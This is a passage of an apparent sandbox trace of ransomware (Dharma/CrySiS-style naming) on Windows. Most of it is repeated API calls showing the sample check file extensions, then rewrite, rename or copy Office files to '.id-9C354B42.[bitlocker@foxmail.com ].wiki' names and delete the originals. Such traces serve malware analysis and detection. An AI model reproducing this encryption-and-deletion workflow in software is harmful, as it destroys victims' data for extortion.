(lpString1=".xlsx", lpString2="p.dll") returned -1 [0188.357] lstrlenW (lpString=".ppt") returned 4 [0188.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.357] lstrlenW (lpString=".zip") returned 4 [0188.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.357] lstrlenW (lpString=".rar") returned 4 [0188.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.357] lstrlenW (lpString=".bz2") returned 4 [0188.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.357] lstrlenW (lpString=".7z") returned 3 [0188.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.357] lstrlenW (lpString=".dbf") returned 4 [0188.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.357] lstrlenW (lpString=".1cd") returned 4 [0188.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.357] lstrlenW (lpString=".jpg") returned 4 [0188.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.358] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0188.358] lstrlenW (lpString="LICLUA.EXE") returned 10 [0188.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.358] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=204168) returned 1 [0188.358] CloseHandle (hObject=0x20c) returned 1 [0188.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0188.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.364] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.364] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.368] GetLastError () returned 0x0 [0188.368] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x31d88, lpOverlapped=0x0) returned 1 [0188.386] WriteFile (in: hFile=0x200, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x31d90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x31d90, lpOverlapped=0x0) returned 1 [0188.390] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.390] WriteFile (in: hFile=0x200, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0188.391] SetEndOfFile (hFile=0x200) returned 1 [0188.391] CloseHandle (hObject=0x200) returned 1 [0188.391] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.391] SetEndOfFile (hFile=0x20c) returned 1 [0188.393] CloseHandle (hObject=0x20c) returned 1 [0188.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.393] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 1 [0188.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.393] lstrlenW (lpString=".doc") returned 4 [0188.393] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0188.393] lstrlenW (lpString=".docx") returned 5 [0188.393] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0188.393] lstrlenW (lpString=".pdf") returned 4 [0188.393] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0188.393] lstrlenW (lpString=".xls") returned 4 [0188.393] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0188.393] lstrlenW (lpString=".xlsx") returned 5 [0188.393] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0188.393] lstrlenW (lpString=".ppt") returned 4 [0188.393] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0188.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.393] lstrlenW (lpString=".zip") returned 4 [0188.393] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0188.393] lstrlenW (lpString=".rar") returned 4 [0188.394] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0188.394] lstrlenW (lpString=".bz2") returned 4 [0188.394] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0188.394] lstrlenW (lpString=".7z") returned 3 [0188.394] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.394] lstrlenW (lpString=".dbf") returned 4 [0188.394] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.394] lstrlenW (lpString=".1cd") returned 4 [0188.394] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.394] lstrlenW (lpString=".jpg") returned 4 [0188.394] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.394] lstrlenW (lpString=".doc") returned 4 [0188.394] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0188.394] lstrlenW (lpString=".docx") returned 5 [0188.394] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0188.394] lstrlenW (lpString=".pdf") returned 4 [0188.394] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0188.394] lstrlenW (lpString=".xls") returned 4 [0188.394] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0188.394] lstrlenW (lpString=".xlsx") returned 5 [0188.394] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0188.394] lstrlenW (lpString=".ppt") returned 4 [0188.394] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.394] lstrlenW (lpString=".zip") returned 4 [0188.394] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0188.394] lstrlenW (lpString=".rar") returned 4 [0188.395] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0188.395] lstrlenW (lpString=".bz2") returned 4 [0188.395] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0188.395] lstrlenW (lpString=".7z") returned 3 [0188.395] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.395] lstrlenW (lpString=".dbf") returned 4 [0188.395] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.395] lstrlenW (lpString=".1cd") returned 4 [0188.395] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0188.395] lstrlenW (lpString=".jpg") returned 4 [0188.395] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0188.395] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0188.395] lstrlenW (lpString="MSO.DLL") returned 7 [0188.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.396] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=25417600) returned 1 [0188.396] CloseHandle (hObject=0x20c) returned 1 [0188.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0188.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0188.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.397] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0x0) returned 1 [0188.397] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.397] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f20058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.401] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.401] ReadFile (in: hFile=0x20c, lpBuffer=0x3f60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f60058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.420] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0188.420] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.421] ReadFile (in: hFile=0x20c, lpBuffer=0x3fa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3fa0058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.438] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.438] WriteFile (in: hFile=0x20c, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x350fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fcb0*=0xc00fa, lpOverlapped=0x0) returned 1 [0188.723] SetEndOfFile (hFile=0x20c) returned 1 [0188.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4382010 [0188.727] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.727] WriteFile (in: hFile=0x20c, lpBuffer=0x4382010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x4382010*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.779] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.779] WriteFile (in: hFile=0x20c, lpBuffer=0x4382010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x4382010*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.782] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.782] WriteFile (in: hFile=0x20c, lpBuffer=0x4382010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x4382010*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4382010 | out: hHeap=0x5c0000) returned 1 [0188.784] CloseHandle (hObject=0x20c) returned 1 [0188.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.784] lstrlenW (lpString=".doc") returned 4 [0188.784] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.784] lstrlenW (lpString=".docx") returned 5 [0188.784] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0188.784] lstrlenW (lpString=".pdf") returned 4 [0188.784] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.784] lstrlenW (lpString=".xls") returned 4 [0188.784] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.784] lstrlenW (lpString=".xlsx") returned 5 [0188.784] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0188.784] lstrlenW (lpString=".ppt") returned 4 [0188.784] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.785] lstrlenW (lpString=".zip") returned 4 [0188.785] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString=".rar") returned 4 [0188.785] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString=".bz2") returned 4 [0188.785] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.785] lstrlenW (lpString=".7z") returned 3 [0188.785] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.785] lstrlenW (lpString=".dbf") returned 4 [0188.785] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.785] lstrlenW (lpString=".1cd") returned 4 [0188.785] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.785] lstrlenW (lpString=".jpg") returned 4 [0188.785] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.785] lstrlenW (lpString=".doc") returned 4 [0188.785] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString=".docx") returned 5 [0188.785] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0188.785] lstrlenW (lpString=".pdf") returned 4 [0188.785] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString=".xls") returned 4 [0188.785] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString=".xlsx") returned 5 [0188.785] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0188.785] lstrlenW (lpString=".ppt") returned 4 [0188.785] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.786] lstrlenW (lpString=".zip") returned 4 [0188.786] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.786] lstrlenW (lpString=".rar") returned 4 [0188.786] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.786] lstrlenW (lpString=".bz2") returned 4 [0188.786] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.786] lstrlenW (lpString=".7z") returned 3 [0188.786] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.786] lstrlenW (lpString=".dbf") returned 4 [0188.786] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.786] lstrlenW (lpString=".1cd") returned 4 [0188.786] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0188.786] lstrlenW (lpString=".jpg") returned 4 [0188.786] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.786] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0188.786] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0188.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.787] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=56144) returned 1 [0188.787] CloseHandle (hObject=0x20c) returned 1 [0188.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0188.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.787] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.787] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0188.787] GetLastError () returned 0x0 [0188.787] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xdb50, lpOverlapped=0x0) returned 1 [0188.870] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xdb60, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xdb60, lpOverlapped=0x0) returned 1 [0188.871] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.871] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0188.871] SetEndOfFile (hFile=0x1c8) returned 1 [0188.871] CloseHandle (hObject=0x1c8) returned 1 [0188.871] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.871] SetEndOfFile (hFile=0x20c) returned 1 [0188.872] CloseHandle (hObject=0x20c) returned 1 [0188.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.873] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 1 [0188.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.873] lstrlenW (lpString=".doc") returned 4 [0188.873] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.873] lstrlenW (lpString=".docx") returned 5 [0188.873] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0188.873] lstrlenW (lpString=".pdf") returned 4 [0188.873] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.873] lstrlenW (lpString=".xls") returned 4 [0188.873] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.873] lstrlenW (lpString=".xlsx") returned 5 [0188.873] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0188.873] lstrlenW (lpString=".ppt") returned 4 [0188.873] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.873] lstrlenW (lpString=".zip") returned 4 [0188.873] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.873] lstrlenW (lpString=".rar") returned 4 [0188.873] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.873] lstrlenW (lpString=".bz2") returned 4 [0188.873] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.873] lstrlenW (lpString=".7z") returned 3 [0188.874] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.874] lstrlenW (lpString=".dbf") returned 4 [0188.874] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.874] lstrlenW (lpString=".1cd") returned 4 [0188.874] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.874] lstrlenW (lpString=".jpg") returned 4 